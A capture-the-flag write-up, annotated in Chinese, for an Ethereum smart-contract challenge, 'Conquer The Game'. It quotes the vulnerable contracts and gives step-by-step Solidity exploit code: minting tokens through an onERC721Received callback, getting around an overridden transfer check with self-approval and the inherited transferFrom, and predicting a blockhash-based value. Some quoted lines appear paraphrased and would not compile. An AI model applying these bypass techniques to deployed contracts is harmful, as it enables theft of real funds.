S2C12: Conquer The Game (RPG Multi-Contract) #

// GoldToken.transfer — 有 HeroNFT 和 Dungeon 检查
function transfer(address to, uint256 amount) public override returns (bool) {
    require(hero.balanceOf(msg.sender) > 0, "Insufficient NFT balance");
    require(hero.balanceOf(msg.sender) < dungeon.dungeon(tx.origin), "Wrong NFT balance");
    _transfer(msg.sender, to, amount);
    return true;
}
// GoldToken.transferFrom — 继承自 ERC20，无任何限制！
// 可以直接调用绕过所有 transfer 检查

function onERC721Received(address, address from, uint256 tokenId, bytes calldata data)
    external override returns (bytes4)
{
    uint256 anotherTokenId = _toUint256(data);  // ← 从 data 解码另一个 tokenId
    require(msg.sender == address(this));        // 只有 NFTFlags 自身可调用
    require(ownerOf(anotherTokenId) == from);     // from 必须拥有 S2C2 token
    require(tokenIdToChallengeId[anotherTokenId] == 2); // 验证 token 是 S2C2
    require(!tokensClaimed[tokenId]);             // 载体 token 未被领取
    safeTransferFrom(address(this), from, tokenId); // 载体 token 归还
    tokensClaimed[tokenId] = true;
    GoldContract(goldTokenAddress).mint(from);    // mint 1000e18 GoldToken!
}

function mintFlag(uint256 tokenId) public winner rich {
    // 1. 拉取 1e18 GoldToken 从调用者到挑战合约
    gold.transferFrom(msg.sender, address(this), 1 ether);
    
    // 2. 从 HeroNFT URI 解析库存值
    uint256 inventoryValue = stringToUint(hero.tokenURI(tokenId));
    inventory.setValue(inventoryValue);  // 写入 inventory[tx.origin]
    
    // 3. 计算哈希
    bytes32 hash = keccak256(abi.encodePacked(
        blockhash(block.number - 1),     // 前一个区块哈希（交易内可预测）
        address(this),                    // 挑战合约地址
        inventory.inventory(tx.origin)    // 库存值
    ));
    
    // 4-8. 多重检查
    require(gold.balanceOf(msg.sender) == uint256(hash) % 100 ether); // 余额 = H
    require(balance == dungeon.getCurrentPosition());                 // 余额 = quest×dungeon
    require(gold.balanceOf(tx.origin) == gold.balanceOf(~tx.origin)); // 敌我余额相等
    require(gold.allowance(msg.sender, this) == inventory.inventory(tx.origin)); // allowance=库存
    
    nftContract.mint(tx.origin, 12);  // mint flag!
}

function stringToUint(string memory _s) public pure returns (uint256) {
    bytes memory b = bytes(_s);
    uint256 res = 0;
    for (uint256 i = 0; i < b.length; i++) {
        if (b[i] >= 0x30 && b[i] <= 0x39) {
            res = res * 10 + (uint256(uint8(b[i])) - 0x35); // 数字字符 → 数值
        } else {
            return 0;  // 非数字直接返回 0
        }
    }
    return res;
}

// 1. 确保拥有一个 S2C2 token (challengeId == 2)
// 2. 需要一个载体 token (任意其他 S2 NFT)

// 3. 调用 safeTransferFrom，将载体 token 发给 NFTFlags，data 中编码 S2C2 tokenId
//    载体 token 会被转回，S2C2 token 只做验证不转移
NFTFlags.safeTransferFrom(
    myAddress,       // from — 必须拥有 S2C2 token
    NFTFlags,        // to — NFTFlags 自身（触发 onERC721Received）
    carrierTokenId,  // 载体 token（任意 S2 NFT）
    abi.encode(s2c2TokenId)  // data = S2C2 tokenId
);
// → GoldToken mint 1000e18 到 from 地址

// 2a. 铸造 HeroNFT，URI = "5"（使 inventoryValue = 0）
uint256 heroTokenId = hero.mint("5");

// 2b. 计算目标余额 H
bytes32 hash = keccak256(abi.encodePacked(
    blockhash(block.number - 1),  // 前一区块哈希
    address(challenge),           // 挑战地址
    uint256(0)                    // inventoryValue = 0
));
uint256 H = uint256(hash) % 100 ether;

// 使用 transferFrom 绕过 transfer 限制
gold.approve(address(this), type(uint256).max);  // 自授权
gold.transferFrom(goldSource, address(this), H + 1 ether + 2 ether);  // 拉取

// 分配余额
gold.transferFrom(address(this), address(~bytes20(tx.origin)), 1 ether); // 敌人
gold.transferFrom(address(this), tx.origin, 1 ether);                     // 玩家

// 精确余额 = H
uint256 currentBalance = gold.balanceOf(address(this));
if (currentBalance > H + 1 ether) {
    gold.burn(currentBalance - H - 1 ether);
}

// 胜利条件
dungeon.setPosition(bytes32(uint256(1)));  // 设非零值
victory.free(true);                          // 标记胜利

// 地牢位置 = 余额 = H（使 balance == quest × dungeon）
quest.setCurrentQuest(1);
dungeon.setPosition(bytes32(H));

// 批准 challenge 消费 1 ether（消费后剩余 allowance = 0 = inventoryValue）
gold.approve(address(challenge), 1 ether);

// 执行！
challenge.mintFlag(heroTokenId);

function _safeTransfer(address from, address to, uint256 tokenId, bytes memory data) internal virtual {
    _transfer(from, to, tokenId);                        // ① 先转移！
    _checkOnERC721Received(from, to, tokenId, data);     // ② 再回调
}

// GoldToken 只覆写了 transfer
function transfer(address to, uint256 amount) public override returns (bool) {
    // ... custom checks ...
}

// transferFrom 继承自 ERC20._transfer，无任何限制
// function transferFrom(address from, address to, uint256 amount) public virtual returns (bool) {
//     _spendAllowance(from, msg.sender, amount);
//     _transfer(from, to, amount);  // 直接调用内部 _transfer，绕过 transfer 覆写
// }

// 错误：受 transfer 限制
gold.transfer(recipient, amount);

// 正确：通过自授权 + transferFrom 绕过
gold.approve(address(this), type(uint256).max);
gold.transferFrom(address(this), recipient, amount);

// 在构造或初始化时自授权
function solve(address goldSource) external {
    // 必须首先自授权
    gold.approve(address(this), type(uint256).max);
    
    // 然后可以使用 transferFrom
    gold.transferFrom(goldSource, address(this), amount);
    gold.transferFrom(address(this), enemy, amount);
}